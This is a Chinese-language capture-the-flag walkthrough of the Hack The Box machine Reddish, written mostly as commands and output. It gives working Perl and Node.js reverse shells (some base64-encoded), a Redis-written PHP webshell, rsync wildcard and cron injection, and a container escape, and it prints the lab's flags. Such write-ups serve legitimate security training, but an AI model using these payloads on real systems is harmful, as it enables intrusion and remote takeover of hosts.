┌──(root㉿kali)-[~/Desktop/htb/Reddish]
└─# nmap 10.10.10.94 -p 1880 -sCV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-26 01:25 EDT
Nmap scan report for 10.10.10.94
Host is up (0.080s latency).
PORT STATE SERVICE VERSION
1880/tcp open http Node.js Express framework
|_http-title: Error
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.42 seconds
没错,只有一个端口, 而且也没有开放什么UDP端口(扫了的)
┌──(root㉿kali)-[~/Desktop/htb/Reddish]
└─# curl 10.10.10.94:1880
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /</pre>
</body>
</html>
提示我们 Cannot GET / 那我们换一种方式
┌──(root㉿kali)-[~/Desktop/htb/Reddish]
└─# curl -X POST 10.10.10.94:1880
{"id":"d60ca15224a88f0c66e913ae52269339","ip":"::ffff:10.10.16.82","path":"/red/{id}"}
然后根据提示访问
http://10.10.10.94:1880/red/d60ca15224a88f0c66e913ae52269339/#flow/ff809268.b6281
发现这是一个Node-RED,
然后去找下有没有什么可以利用的漏洞
可以找到一个RCE https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/
首先从左边拖一个 inject
作为输入命令的模块
双击这个模块,把类型调整为string,然后输入下面的payload
perl -e 'use Socket;$i="10.10.16.82";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
#或者用node
node -e '(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1234, "10.10.16.82", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();'
然后给这个 inject
连接一个 exec
模块,点击部署,然后点 inject
旁边那个小方块即可执行命令
(remote) root@nodered:/node-red# whoami
root
(remote) root@nodered:/node-red# id
uid=0(root) gid=0(root) groups=0(root)
(remote) root@nodered:/node-red#
进来后发现直接是Root权限,很可能就是docker,看下根目录,发现 .dockerenv
实锤是docker了
(remote) root@nodered:/# ls -la
total 80
drwxr-xr-x 1 root root 4096 Jul 15 2018 .
drwxr-xr-x 1 root root 4096 Jul 15 2018 ..
-rwxr-xr-x 1 root root 0 May 4 2018 .dockerenv
看下网络信息
(remote) root@nodered:/# ss -tunlp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 127.0.0.11:45475 *:*
tcp LISTEN 0 128 127.0.0.11:42127 *:*
tcp LISTEN 0 128 :::1880 :::* users:(("node",pid=1,fd=10))
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
17: eth0@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft forever
19: eth1@if20: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:13:00:04 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.4/16 brd 172.19.255.255 scope global eth1
valid_lft forever preferred_lft forever
可以发现这里有多个网段,
利用脚本对这2个网段上的主机进行扫描
┌──(root㉿kali)-[~/Desktop/tools]
└─# nc -lvnp 4321
listening on [any] 4321 ...
connect to [10.10.16.82] from (UNKNOWN) [10.10.10.94] 44864
/bin/sh: 0: can't access tty; job control turned off
# for i in `seq 1 255`; do ping -c 1 -W 1 172.18.0.$i | grep 'from'; done
64 bytes from 172.18.0.1: icmp_seq=1 ttl=64 time=0.033 ms
64 bytes from 172.18.0.2: icmp_seq=1 ttl=64 time=0.014 ms
#for i in `seq 1 255`;do ping -c 1 -W 1 172.19.0.$i |grep 'from' ;done
64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.069 ms
64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.056 ms
64 bytes from 172.19.0.3: icmp_seq=1 ttl=64 time=0.046 ms
64 bytes from 172.19.0.4: icmp_seq=1 ttl=64 time=0.020 ms
这里发现 172.19.0.1
172.18.0.1
这两个肯定就是宿主机了
本机是 172.19.0.4
172.18.0.2
,那么还有两个docker 172.19.0.3
172.19.0.2
我们对这两个docker进行扫描
# ./rustscan -a 172.19.0.3
Open 172.19.0.3:80
[~] Starting Script(s)
[!] Error Exit code = 127
# ./rustscan -a 172.19.0.2
Open 172.19.0.2:6379
[~] Starting Script(s)
[!] Error Exit code = 127
# ./rustscan -a 172.19.0.1
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
[!] Looks like I didnt find any open ports for 172.19.0.1. This is usually caused by a high batch size.
*I used 4500 batch size, consider lowering it with 'rustscan -b <batch_size> -a <ip address>' or a comfortable number for your system.
Alternatively, increase the timeout if your ping is high. Rustscan -t 2000 for 2000 milliseconds (2s) timeout.
Open 172.19.0.3:80
Open 172.19.0.2:6379
发现了两个web服务 172.19.0.2:6379
172.19.0.3:80
也就是一个是web一个是redis
这里是由于是在容器内部,端口转发也不好使(因为你只是转发了容器内部的端口,但是没有映射到宿主机上,所以你访问不了内网),只能搭代理。这里我使用 Stowaway 搭建代理并通过代理对内网进行探测。
然后配置 proxychains 方便我们后续利用
再配置一下火狐的代理
这样我们就可以访问到内网了
这是网页服务
查看源代码 发现了关键信息
1. Share the web folder with the database container (Done)
* 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder
这里提示我们 这个网站目录与redis数据库的目录是共享的,并且目录的url是 /f187a0ec71ce99642e4f0afbd441a68b
尝试检测一下redis是否存在未授权
┌──(root㉿kali)-[~]
└─# proxychains -q redis-cli -h 172.19.0.2
172.19.0.2:6379> info
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:cce7cc41d26597f7
redis_mode:standalone
os:Linux 4.15.0-213-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:6.4.0
process_id:7
run_id:90ae6c0f2918e4e91124b814b0151690442d186d
tcp_port:6379
uptime_in_seconds:63648
uptime_in_days:0
hz:10
lru_clock:3607968
executable:/data/redis-server
config_file:
可以看到redis的版本是4.0.9,这是一个比较老的版本(对现在2025来说),但我还是选择不以大欺小
因为这里的网页服务于redis共享了一个文件夹。所以这里我选择写webshel
config set dir /var/www/html/
config set dbfilename webshell.php
set webshell "<?php echo @eval($_POST['x']); ?>"
save
172.19.0.2:6379> config set dir /var/www/html/f187a0ec71ce99642e4f0afbd441a68b OK (0.77s) 172.19.0.2:6379> config set dbfilename shell.php OK
172.19.0.2:6379> set x "<?php eval($_POST['a']); phpinfo();?>" (error) READONLY You can't write against a read only slave. (2.68s) 172.19.0.2:6379> set x "123" (error) READONLY You can't write against a read only slave. (1.32s)
这里失败了,提示我们这是只读的,不可写,我猜测应该是外部访问的原因
我们回到原来的web页面,查看源代码给了我们几个api
这里应该是一个与redis进行交互的api
我们可以尝试一下
┌──(root㉿kali)-[~]
└─# proxychains -q curl http://172.19.0.3/8924d0549008565c554f8128cd11fda4/ajax.php?test=info
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:cce7cc41d26597f7
redis_mode:standalone
os:Linux 4.15.0-213-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:6.4.0
process_id:7
run_id:90ae6c0f2918e4e91124b814b0151690442d186d
tcp_port:6379
uptime_in_seconds:66114
uptime_in_days:0
hz:10
lru_clock:3610434
executable:/data/redis-server
config_file:
看来是对的,那么我们可以通过这个进行一个SSRF+REDIS未授权写webshell
┌──(root㉿kali)-[~]
└─# proxychains -q curl http://172.19.0.3/8924d0549008565c554f8128cd11fda4/ajax.php?test=set%20shell%20%22%3C%3Fphp%20echo%20%40eval%28%24_POST%5Bx%5D%29%3B%20%3F%3E%22
READONLY You can't write against a read only slave.
可恶,还是这样
后面发现是有狗尼玛的把权限设置改了。正常情况是可以写入的。
重置靶机就好了
172.19.0.3:6379> flushall
OK
172.19.0.3:6379> config set dir /var/www/html/f187a0ec71ce99642e4f0afbd441a68b/
OK
172.19.0.3:6379> config set dbfilename shell.php
OK
172.19.0.3:6379> set shell SET shell "<?php eval(\$_POST[cmd]); phpinfo(); ?>"
OK
172.19.0.3:6379> save
OK
proxychains -q redis-cli -h 172.19.0.3 flushall
proxychains -q redis-cli -h 172.19.0.3 config set dir /var/www/html/f187a0ec71ce99642e4f0afbd441a68b/
proxychains -q redis-cli -h 172.19.0.3 config set dbfilename a.php
proxychains -q redis-cli -h 172.19.0.3 set a "<?php system($_POST[cmd]);?>"
proxychains -q redis-cli -h 172.19.0.3 save
成功写入,但是这里会每隔2 3分钟就删除你的webshell,所以我写了一个shell脚本帮我上传webshell
┌──(root㉿kali)-[~]
└─# cat redis.sh
proxychains -q redis-cli -h 172.19.0.3 flushall
proxychains -q redis-cli -h 172.19.0.3 config set dir /var/www/html/f187a0ec71ce99642e4f0afbd441a68b/
proxychains -q redis-cli -h 172.19.0.3 config set dbfilename shell.php
proxychains -q redis-cli -h 172.19.0.3 SET shell "<?php eval(\$_POST[cmd]); phpinfo(); ?>"
proxychains -q redis-cli -h 172.19.0.3 save
这里弹shell有点困难说实话,经过我的测试, 他是不出网的,所以你需要用socat把 入口机的端口转发到你kali的监听端口。
然后你需要用Perl的bind shell 对他进行 base64 然后再urlencode 才能反弹成功(这里试了好久)
#先是perl的bind shell
perl -e 'use Socket;$i="172.19.0.4";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
# base64
echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuNCI7JHA9Nzc3Nztzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCJzaCAtaSIpO307Jw== |base64 -d |sh
#再url
cmd=system('echo%20cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuNCI7JHA9Nzc3Nztzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI%2BJlMiKTtleGVjKCJzaCAtaSIpO307Jw%3D%3D%20%7Cbase64%20-d%20%7Csh')
成功拿到www-data用户权限
(remote) www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ whoami
www-data
(remote) www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(remote) www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$
这里用了一个小脚本,类似于一个小的Pspy64,(因为这里已经搭建了两层代理,用pwncat上传不了文件)
#代码的内容 作用:实时监控系统中正在运行的进程,并显示新出现或消失的进程
#!/bin/bash
IFS=$'\n'
old=$(ps -eo command)
while true; do
new=$(ps -eo command)
diff <(echo "$old") <(echo "$new") | grep [\<\>]
sleep .3
old=$new
done
#没有vi 用base64写入
echo 'IyEvYmluL2Jhc2gKCklGUz0kJ1xuJwoKb2xkPSQocHMgLWVvIGNvbW1hbmQpCndoaWxlIHRydWU7IGRvCiAgICBuZXc9JChwcyAtZW8gY29tbWFuZCkKICAgIGRpZmYgPChlY2hvICIkb2xkIikgPChlY2hvICIkbmV3IikgfCBncmVwIFtcPFw+XQogICAgc2xlZXAgLjMKICAgIG9sZD0kbmV3CmRvbmUK' |base64 -d >proc.sh
会发现他每隔几分钟就运行这个backup.sh
大致就是会把网站文件做备份通过 Rsync发送刚给 rsync://backup:873/src/rdb/
www-data@www:/tmp$ ./proc.sh
> /usr/sbin/CRON
> /bin/sh -c sh /backup/backup.sh
> sh /backup/backup.sh
> sh /backup/backup.sh
< /usr/sbin/CRON
< /bin/sh -c sh /backup/backup.sh
< sh /backup/backup.sh
> /usr/sbin/exim4 -Mc 1uKJZS-000175-3C
< sh /backup/backup.sh
< /usr/sbin/exim4 -Mc 1uKJZS-000175-3C
^C
#查看/backup/backup.sh 的内容
www-data@www:/var/www/html$ cat /backup/backup.sh
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
sh脚本中这条命令 rsync -a *.rdb rsync://backup:873/src/rdb/
使用了通配符 *
我们可以进行利用
参考 https://book.hacktricks.wiki/zh/linux-hardening/privilege-escalation/wildcards-spare-tricks.html?highlight=rsync#rsync
首先我们先在入口机做一下端口转发,方便我们回弹shell
(remote) root@nodered:/# ./socat TCP-LISTEN:7778,fork TCP:10.10.16.82:777./socat TCP-LISTEN:7778,fork TCP:10.10.16.82:7778 &
[1] 194
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
#perl的shell
echo 'cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuNCI7JHA9Nzc3ODtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsn' |base64 -d > shell.rdb
echo > '-e sh shell.rdb'
#这里不能用touch创建文件,权限不足,但可以用echo
然后就可以拿到这台机器的root了
user
(remote) root@www:/home/somaro# cat user.txt
5c3d8b6a75fa2663e9e42a1d2657718a
查看IP发现还有一个20网段,主机探测,发现还有一台主机,就是这个backup容器 172.20.0.3
for i in `seq 1 255`;do ping -c 1 -W 1 172.20.0.$i |grep 'from' ;done
64 bytes from 172.20.0.1: icmp_seq=1 ttl=64 time=0.058 ms
64 bytes from 172.20.0.2: icmp_seq=1 ttl=64 time=0.015 ms
64 bytes from 172.20.0.3: icmp_seq=1 ttl=64 time=0.028 ms
利用pwncat上传一个socat用于端口转发给入口机
(remote) root@www:/tmp# ./socat TCP-LISTEN:9999,fork TCP:172.19.0.4:9999 ./socat TCP-LISTEN:9999,fork TCP:172.19.0.4:9999 &
[1] 7102
然后在入口机开启一个监听
(remote) root@nodered:/tmp# chmod +x busybox
(remote) root@nodered:/tmp# ./busybox nc -lvnp 9999
listening on [::]:9999 ...
然后因为我们这个www的机器有root权限,所以我们是可以利用rsync进行文件写入的。
rsync://backup:873/src/rdb/
那我们就可以写入定时任务
先传一个反弹shell的脚本
perl -e 'use Socket;$i="172.20.0.2";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjIwLjAuMiI7JHA9OTk5OTtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsn |base64 -d >shell.sh
rsync shell.sh rsync://backup:873/src/tmp/shell.sh
(remote) root@www:/tmp# rsync shell.sh rsync://backup:873/src/tmp/shell.srsync shell.sh rsync://backup:873/src/tmp/shell.sh
(remote) root@www:/tmp# rsync rsync://backup:873/src/tmp/shell.sh
-rw-r--r-- 219 2025/05/28 17:14:37 shell.sh
然后写入定时任务
echo '* * * * * root sh /tmp/shell.sh' > shell
rsync -a shell rsync://backup:873/src/etc/cron.d/
然后就可以拿到backup机器的权限了
listening on [::]:9999 ...
connect to [::ffff:172.19.0.4]:9999 from [::ffff:172.19.0.2]:50660 ([::ffff:172.19.0.2]:50660)
/bin/sh: 0: cant access tty; job control turned off
#
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
13: eth0@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:14:00:03 brd ff:ff:ff:ff:ff:ff
inet 172.20.0.3/16 brd 172.20.255.255 scope global eth0
valid_lft forever preferred_lft forever
# hostname
backup
这台机器是一个特权容器
# cat /proc/self/status | grep CapEf
CapEff: 0000003fffffffff
直接挂载宿主机根目录即可逃逸
# mkdir /tmp/host
# mount /dev/sda2 /tmp/host
# cd /tmp/host
# ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
# cat root.txt
c6386d53ae73bd7ab604f20faf691f16